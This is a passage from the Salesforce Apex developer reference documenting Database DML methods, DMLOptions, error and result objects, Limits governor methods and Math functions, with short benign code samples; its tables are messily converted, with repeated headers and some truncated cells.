- Cascade delete record IDs should not be included in the list of IDs; otherwise an error occurs. For example, if an account record is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include the Id of the top level account. All related records are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method...
### emptyRecycleBin

#### Arguments
- sObject

#### Return Type
- Database.EmptyRecycleBin

#### Description
Permanently deletes the specified sObject from the recycle bin. Note the following:
- After an sObject is deleted using this method it cannot be undeleted.
- Only 10,000 sObjects can be specified for deletion.
- The logged in user can delete any sObject that he or she can query in their recycle bin, or the recycle bins of any subordinates. If the logged in user has “Modify All Data” permission, he or she can query and delete sObjects from any recycle bin in the organization.
- Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top level account. All related sObjects are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. The emptyRecycleBin method uses the DML governor limits.

### emptyRecycleBin

#### Arguments
- sObjects

#### Return Type
- Database.EmptyRecycleBin

#### Description
Permanently deletes the specified sObjects from the recycle bin. Note the following:
- After an sObject is deleted using this method it cannot be undeleted.
- Only 10,000 sObjects can be specified for deletion.
- The logged in user can delete any sObject that he or she can query in their recycle bin, or the recycle bins of any subordinates. If the logged in user has “Modify All Data” permission, he or she can query and delete sObjects from any recycle bin in the organization.
- Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top level account. All related sObjects are automatically removed.
- Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. The emptyRecycleBin method uses the DML governor limits.
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>call is added to the total number of DML statements issued. The emptyRecycleBin method uses the DML governor limits.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>executeBatch</td>
<td>sObject className ID</td>
<td>ID</td>
<td>Executes the specified class as a batch Apex job. For more information, see Using Batch Apex on page 156.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><strong>Note:</strong> The class called by the executeBatch method implements the execute method.</td>
</tr>
<tr>
<td>executeBatch</td>
<td>sObject className, Integer scope ID</td>
<td>ID</td>
<td>Executes the specified class as a batch Apex job. The value for scope must be greater than 0. For more information, see Using Batch Apex on page 156.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><strong>Note:</strong> The class called by the executeBatch method implements the execute method.</td>
</tr>
<tr>
<td>getQueryLocator</td>
<td>sObject [] listOfQueries ID</td>
<td>QueryLocator</td>
<td>Creates a QueryLocator object used in batch Apex or Visualforce. For more information, see Database Batch Apex Objects and Methods on page 301, Understanding Apex Managed Sharing on page 163, and StandardSetController Class on page 365.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>You can't use getQueryLocator with any query that contains an aggregate function.</td>
</tr>
<tr>
<td>getQueryLocator</td>
<td>String query ID</td>
<td>QueryLocator</td>
<td>Creates a QueryLocator object used in batch Apex or Visualforce. For more information, see Database Batch Apex Objects and Methods on page 301, Understanding Apex Managed Sharing on page 163, and StandardSetController Class on page 365.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>You can't use getQueryLocator with any query that contains an aggregate function.</td>
</tr>
<tr>
<td>insert</td>
<td>sObject recordToInsert Boolean opt_allOrNone database.DMLOptions opt_DMLOptions</td>
<td>SaveResult</td>
<td>Adds an sObject, such as an individual account or contact, to your organization’s data. insert is analogous to the INSERT statement in SQL.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------</td>
<td>----------------------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>insert</td>
<td>sObject[] recordsToInsert</td>
<td>SaveResult[]</td>
<td>The optional <code>opt_DMLOptions</code> parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. Adds one or more sObjects, such as individual accounts or contacts, to your organization’s data. <code>insert</code> is analogous to the INSERT statement in SQL. The optional <code>opt_allOrNone</code> parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional <code>opt_DMLOptions</code> parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.</td>
</tr>
<tr>
<td>query</td>
<td>String query</td>
<td>sObject[]</td>
<td>Creates a dynamic SOQL query at runtime. This method can be used wherever a static SOQL query can be used, such as in regular assignment statements and for loops. For more information, see Dynamic SOQL on page 151.</td>
</tr>
<tr>
<td>rollback</td>
<td>System.Savepoint sp</td>
<td>Void</td>
<td>Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back and not sent. <strong>Note:</strong> Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first run. Each rollback counts against the total number of DML statements. You will receive a runtime error if you try to rollback the database additional times.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-------------</td>
<td>----------------------------------------</td>
<td>----------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>setSavepoint</td>
<td>System.Savepoint</td>
<td>Returns a savepoint variable that can be stored as a local variable, then used with the <strong>rollback</strong> method to restore the database to that point. If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it. References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error. Each savepoint you set counts against the total number of DML statements.</td>
<td></td>
</tr>
<tr>
<td>undelete</td>
<td>sObject recordToUndelete UndeleteResult Boolean opt_allOrNone</td>
<td>Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin. <strong>undelete</strong> is analogous to the <strong>UNDELETE</strong> statement in SQL. The optional <strong>opt_allOrNone</strong> parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.</td>
<td></td>
</tr>
<tr>
<td>undelete</td>
<td>sObject [] recordsToUndelete UndeleteResult[] Boolean opt_allOrNone</td>
<td>Restores one or more existing sObject records, such as individual accounts or contacts, from your organization's Recycle Bin. <strong>undelete</strong> is analogous to the <strong>UNDELETE</strong> statement in SQL. The optional <strong>opt_allOrNone</strong> parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.</td>
<td></td>
</tr>
<tr>
<td>undelete</td>
<td>RecordID ID UndeleteResult Boolean opt_allOrNone</td>
<td>Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin. <strong>undelete</strong> is analogous to the <strong>UNDELETE</strong> statement in SQL. The optional <strong>opt_allOrNone</strong> parameter specifies whether the operation allows partial success. If you</td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------</td>
<td>---------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>undelete</td>
<td>RecordIDs[] ID, Boolean opt_allOrNone</td>
<td>UndeleteResult []</td>
<td>Restores one or more existing sObject records, such as individual accounts or contacts, from your organization’s Recycle Bin. <code>undelete</code> is analogous to the UNDELETE statement in SQL. The optional <code>opt_allOrNone</code> parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.</td>
</tr>
<tr>
<td>update</td>
<td>sObject recordToUpdate, Boolean opt_allOrNone</td>
<td>Database.SaveResult</td>
<td>Modifies an existing sObject record, such as an individual account or contact, in your organization’s data. <code>update</code> is analogous to the UPDATE statement in SQL. The optional <code>opt_allOrNone</code> parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional <code>opt_DMLOptions</code> parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.</td>
</tr>
<tr>
<td>update</td>
<td>sObject [] recordsToUpdate, Boolean opt_allOrNone</td>
<td>Database.SaveResult</td>
<td>Modifies one or more existing sObject records, such as individual accounts or contacts, in your organization’s data. <code>update</code> is analogous to the UPDATE statement in SQL. The optional <code>opt_allOrNone</code> parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>------</td>
<td>-----------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
</tbody>
</table>
| upsert | sObject recordToUpsert  
Schema.SObjectField  
External_ID_Field  
Boolean opt_allOrNone | Database.UpsertResult | The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. Creates a new sObject record or updates an existing sObject record within a single statement, using an optional custom field to determine the presence of existing objects. The External_ID_Field is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. |
| upsert | sObject [] recordsToUpsert  
Schema.SObjectField  
External_ID_Field  
Boolean opt_allOrNone | Database.UpsertResult | Cusing an optional custom field to determine the presence of existing objects. The External_ID_Field is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. |
For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 217.

**Database Batch Apex Objects and Methods**

**Database.QueryLocator Method**

The following table lists the method for the Database.QueryLocator object:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getQuery</td>
<td>String</td>
<td>String</td>
<td>Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(QLReturnedFromStart.getQuery(),</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Database.getQueryLocator([SELECT Id FROM Account]).getQuery() );</td>
</tr>
</tbody>
</table>

You cannot use the FOR UPDATE keywords with a getQueryLocator query to lock a set of records. The start method automatically locks the set of records in the batch.

**Database DMLOptions Methods**

Use the database.DMLOptions object to provide extra information during a transaction, for example, specifying the truncation behavior of fields or assignment rule information. DMLOptions is only available for Apex saved against API versions 15.0 and higher.

The Database.DMLOptions object has the following methods:

- allowFieldTruncation Method
- assignmentRuleHeader Method
- emailHeader Method
- localeOptions Method

**allowFieldTruncation Method**

The allowFieldTruncation method specifies the truncation behavior of strings. In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation method allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.

The allowFieldTruncation method takes a Boolean value. If true, the method truncates String values that are too long, which is the behavior in API versions 14.0 and earlier. For example:

```java
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;
```

**assignmentRuleHeader Method**

The assignmentRuleHeader method specifies the assignment rule to be used when creating an account, case, or lead.
**Note:** The database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.

The following are the options that can be set with the assignmentRuleHeader:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>assignmentRuleID</td>
<td>ID</td>
<td>Specify the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive. The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.</td>
</tr>
<tr>
<td>useDefaultRule</td>
<td>Boolean</td>
<td>If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify an assignmentRuleId.</td>
</tr>
</tbody>
</table>

The following example uses the useDefaultRule option:

```java
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

The following example uses the assignmentRuleID option:

```java
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId = '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

**emailHeader Method**

The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:

- Creation of a new case or task
- Creation of a case comment
- Conversion of a case email to a contact
- New user email notification
- Lead queue email notification
- Password reset

In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader method enables you to specify additional information regarding the email that gets sent when one of the events occurs because of the code’s execution.

The following are the options that can be set with the emailHeader method:
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>triggerAutoResponseEmail</td>
<td>Boolean</td>
<td>Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases. In the Salesforce user interface, this email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail.</td>
</tr>
<tr>
<td>triggerOtherEmail</td>
<td>Boolean</td>
<td>Indicates whether to trigger email outside the organization (true) or not (false). In the Salesforce user interface, this email can be automatically triggered by creating, editing, or deleting a contact for a case.</td>
</tr>
<tr>
<td>triggerUserEmail</td>
<td>Boolean</td>
<td>Indicates whether to trigger email that is sent to users in the organization (true) or not (false). In the Salesforce user interface, this email can be automatically triggered by a number of events; resetting a password, creating a new user, adding comments to a case, or creating or modifying a task.</td>
</tr>
</tbody>
</table>

In the following example, the triggerAutoResponseEmail option is specified:

```java
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe', lastname='Plumber', accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
```

Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex:

- Sending a group event invitation to a user respects the triggerUserEmail option
- Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
- Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate

**localeOptions Method**

The localeOptions method specifies the language of any labels that are returned by Apex. The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is 'fr_CA.'

For a list of the languages that Salesforce supports, see “What languages does Salesforce support?” in the Salesforce online help.
**Database EmptyRecycleBinResult Methods**

A list of Database.EmptyRecycleBinResult objects is returned by the `Database.emptyRecycleBin` method. Each object in the list corresponds to either a record Id or an sObject passed as the parameter in the `Database.emptyRecycleBin` method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the second, and so on.

The following are all instance methods, that is, they work on a specific instance of an EmptyRecycleBinResult object. None of these methods take any arguments.

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>Database.Errors []</td>
<td>If an error occurred during the delete for this record or sObject, a list of one or more Database.Error objects is returned. If no errors occurred, this list is empty.</td>
</tr>
<tr>
<td>getId</td>
<td>ID</td>
<td>Returns the ID of the record or sObject you attempted to deleted.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>Returns true if the record or sObject was successfully removed from the recycle bin; otherwise false.</td>
</tr>
</tbody>
</table>

**Database Error Object Methods**

A Database.error object contains information about an error that occurred, during a DML operation or other operation.

All DML operations that are executed with their database system method form return an error object if they fail.

All error objects have access to the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getMessage</td>
<td>String</td>
<td>String</td>
<td>Returns the error message text.</td>
</tr>
<tr>
<td>getStatusCode</td>
<td>StatusCode</td>
<td>String</td>
<td>Returns a code that characterizes the error. The full list of status codes is available in the WSDL file for your organization (see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help).</td>
</tr>
</tbody>
</table>

**Limits Methods**

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex does not monopolize shared resources.

The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap size remaining.

None of the Limits methods require an argument. The format of the limits methods is as follows:

```java
myDMLLimit = Limits.getDMLStatements();
```

There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while the second version contains the word limit and returns the total amount of the resource that is available for that context.

See [Understanding Execution Governors and Limits](#) on page 188.
<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getAggregateQueries</td>
<td>Integer</td>
<td>Returns the number of aggregate queries that have been processed with any SOQL query statement in the current context.</td>
</tr>
<tr>
<td>getLimitAggregateQueries</td>
<td>Integer</td>
<td>Returns the total number of aggregate queries that can be processed with SOQL query statements in the current context.</td>
</tr>
<tr>
<td>getCallouts</td>
<td>Integer</td>
<td>Returns the number of Web service statements that have been processed in the current context.</td>
</tr>
<tr>
<td>getLimitCallouts</td>
<td>Integer</td>
<td>Returns the total number of Web service statements that can be processed in the current context.</td>
</tr>
<tr>
<td>getChildRelationshipsDescribes</td>
<td>Integer</td>
<td>Returns the number of child relationship objects that have been returned in the current context.</td>
</tr>
<tr>
<td>getLimitChildRelationshipsDescribes</td>
<td>Integer</td>
<td>Returns the total number of child relationship objects that can be returned in the current context.</td>
</tr>
<tr>
<td>getCpuTime</td>
<td>Integer</td>
<td>Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.</td>
</tr>
<tr>
<td>getLimitCpuTime</td>
<td></td>
<td>Returns the total CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.</td>
</tr>
<tr>
<td>getDMLRows</td>
<td>Integer</td>
<td>Returns the number of records that have been processed with any DML statement (insertions, deletions) or the database.EmptyRecycleBin method in the current context.</td>
</tr>
<tr>
<td>getLimitDMLRows</td>
<td>Integer</td>
<td>Returns the total number of records that can be processed with any DML statement or the database.EmptyRecycleBin method in the current context.</td>
</tr>
<tr>
<td>getDMLStatements</td>
<td>Integer</td>
<td>Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have been called in the current context.</td>
</tr>
<tr>
<td>getLimitDMLStatements</td>
<td>Integer</td>
<td>Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called in the current context.</td>
</tr>
<tr>
<td>getEmailInvocations</td>
<td>Integer</td>
<td>Returns the number of email invocations (such as sendEmail) that have been called in the current context.</td>
</tr>
<tr>
<td>getLimitEmailInvocations</td>
<td>Integer</td>
<td>Returns the total number of email invocation (such as sendEmail) that can be called in the current context.</td>
</tr>
<tr>
<td>getFieldsDescribes</td>
<td>Integer</td>
<td>Returns the number of field describe calls that have been made in the current context.</td>
</tr>
<tr>
<td>getLimitFieldsDescribes</td>
<td>Integer</td>
<td>Returns the total number of field describe calls that can be made in the current context.</td>
</tr>
<tr>
<td>getFindSimilarCalls</td>
<td>Integer</td>
<td>This method is deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.</td>
</tr>
<tr>
<td>Name</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-------------------------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getLimitFindSimilarCalls</td>
<td>Integer</td>
<td>This method is deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.</td>
</tr>
<tr>
<td>getFutureCalls</td>
<td>Integer</td>
<td>Returns the number of methods with the future annotation that have been executed (not necessarily completed) in the current context.</td>
</tr>
<tr>
<td>getLimitFutureCalls</td>
<td>Integer</td>
<td>Returns the total number of methods with the future annotation that can be executed (not necessarily completed) in the current context.</td>
</tr>
<tr>
<td>getHeapSize</td>
<td>Integer</td>
<td>Returns the approximate amount of memory (in bytes) that has been used for the heap in the current context.</td>
</tr>
<tr>
<td>getLimitHeapSize</td>
<td>Integer</td>
<td>Returns the total amount of memory (in bytes) that can be used for the heap in the current context.</td>
</tr>
<tr>
<td>getQueries</td>
<td>Integer</td>
<td>Returns the number of SOQL queries that have been issued in the current context.</td>
</tr>
<tr>
<td>getLimitQueries</td>
<td>Integer</td>
<td>Returns the total number of SOQL queries that can be issued in the current context.</td>
</tr>
<tr>
<td>getPicklistDescribes</td>
<td>Integer</td>
<td>Returns the number of PicklistEntry objects that have been returned in the current context.</td>
</tr>
<tr>
<td>getLimitPicklistDescribes</td>
<td>Integer</td>
<td>Returns the total number of PicklistEntry objects that can be returned in the current context.</td>
</tr>
<tr>
<td>getQueryLocatorRows</td>
<td>Integer</td>
<td>Returns the number of records that have been returned by the Database.getQueryLocator method in the current context.</td>
</tr>
<tr>
<td>getLimitQueryLocatorRows</td>
<td>Integer</td>
<td>Returns the total number of records that have been returned by the Database.getQueryLocator method in the current context.</td>
</tr>
<tr>
<td>getQueryRows</td>
<td>Integer</td>
<td>Returns the number of records that have been returned by issuing SOQL queries in the current context.</td>
</tr>
<tr>
<td>getLimitQueryRows</td>
<td>Integer</td>
<td>Returns the total number of records that can be returned by issuing SOQL queries in the current context.</td>
</tr>
<tr>
<td>getRecordTypesDescribes</td>
<td>Integer</td>
<td>Returns the number of RecordTypeInfo objects that have been returned in the current context.</td>
</tr>
<tr>
<td>getLimitRecordTypesDescribes</td>
<td>Integer</td>
<td>Returns the total number of RecordTypeInfo objects that can be returned in the current context.</td>
</tr>
<tr>
<td>getRunAs</td>
<td>Integer</td>
<td>This method is deprecated. Returns the same value as getDMLStatements. The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.</td>
</tr>
<tr>
<td>getLimitRunAs</td>
<td>Integer</td>
<td>This method is deprecated. Returns the same value as getLimitDMLStatements. The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.</td>
</tr>
</tbody>
</table>
Math Methods

The following are the system static methods for Math.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>abs</td>
<td>Decimal d</td>
<td>Decimal</td>
<td>Returns the absolute value of the specified Decimal</td>
</tr>
<tr>
<td>abs</td>
<td>Double d</td>
<td>Double</td>
<td>Returns the absolute value of the specified Double</td>
</tr>
<tr>
<td>abs</td>
<td>Integer i</td>
<td>Integer</td>
<td>Returns the absolute value of the specified Integer. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Integer I = -42;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Integer I2 = math.abs(I);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(I2, 42);</td>
</tr>
<tr>
<td>abs</td>
<td>Long l</td>
<td>Long</td>
<td>Returns the absolute value of the specified Long</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-------</td>
<td>-----------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
<tr>
<td>acos</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the arc cosine of an angle, in the range of 0.0 through $\pi$</td>
</tr>
<tr>
<td>acos</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the arc cosine of an angle, in the range of 0.0 through $\pi$</td>
</tr>
<tr>
<td>asin</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the arc sine of an angle, in the range of $-\pi/2$ through $\pi/2$</td>
</tr>
<tr>
<td>asin</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the arc sine of an angle, in the range of $-\pi/2$ through $\pi/2$</td>
</tr>
<tr>
<td>atan</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the arc tangent of an angle, in the range of $-\pi/2$ through $\pi/2$</td>
</tr>
<tr>
<td>atan</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the arc tangent of an angle, in the range of $-\pi/2$ through $\pi/2$</td>
</tr>
<tr>
<td>atan2</td>
<td>Decimal $x$, Decimal $y$</td>
<td>Decimal</td>
<td>Converts rectangular coordinates ($x$ and $y$) to polar ($r$ and $\theta$). This method computes the phase $\theta$ by computing an arc tangent of $x/y$ in the range of $-\pi$ to $\pi$</td>
</tr>
<tr>
<td>atan2</td>
<td>Double $x$, Double $y$</td>
<td>Double</td>
<td>Converts rectangular coordinates ($x$ and $y$) to polar ($r$ and $\theta$). This method computes the phase $\theta$ by computing an arc tangent of $x/y$ in the range of $-\pi$ to $\pi$</td>
</tr>
<tr>
<td>cbrt</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's magnitude.</td>
</tr>
<tr>
<td>cbrt</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's magnitude.</td>
</tr>
<tr>
<td>ceil</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer</td>
</tr>
<tr>
<td>ceil</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer</td>
</tr>
<tr>
<td>cos</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the trigonometric cosine of the angle specified by $d$</td>
</tr>
<tr>
<td>cos</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the trigonometric cosine of the angle specified by $d$</td>
</tr>
<tr>
<td>cosh</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the hyperbolic cosine of $d$. The hyperbolic cosine of $d$ is defined to be $(e^d + e^{-d})/2$ where $e$ is Euler's number.</td>
</tr>
<tr>
<td>cosh</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the hyperbolic cosine of $d$. The hyperbolic cosine of $d$ is defined to be $(e^d + e^{-d})/2$ where $e$ is Euler's number.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-------</td>
<td>------------------</td>
<td>-------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>exp</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns Euler’s number $e$ raised to the power of the specified Decimal</td>
</tr>
<tr>
<td>exp</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns Euler’s number $e$ raised to the power of the specified Double</td>
</tr>
<tr>
<td>floor</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer</td>
</tr>
<tr>
<td>floor</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer</td>
</tr>
<tr>
<td>log</td>
<td>Decimal $d$</td>
<td>Decimal</td>
<td>Returns the natural logarithm (base $e$) of the specified Decimal</td>
</tr>
<tr>
<td>log</td>
<td>Double $d$</td>
<td>Double</td>
<td>Returns the natural logarithm (base $e$) of the specified Double</td>
</tr>
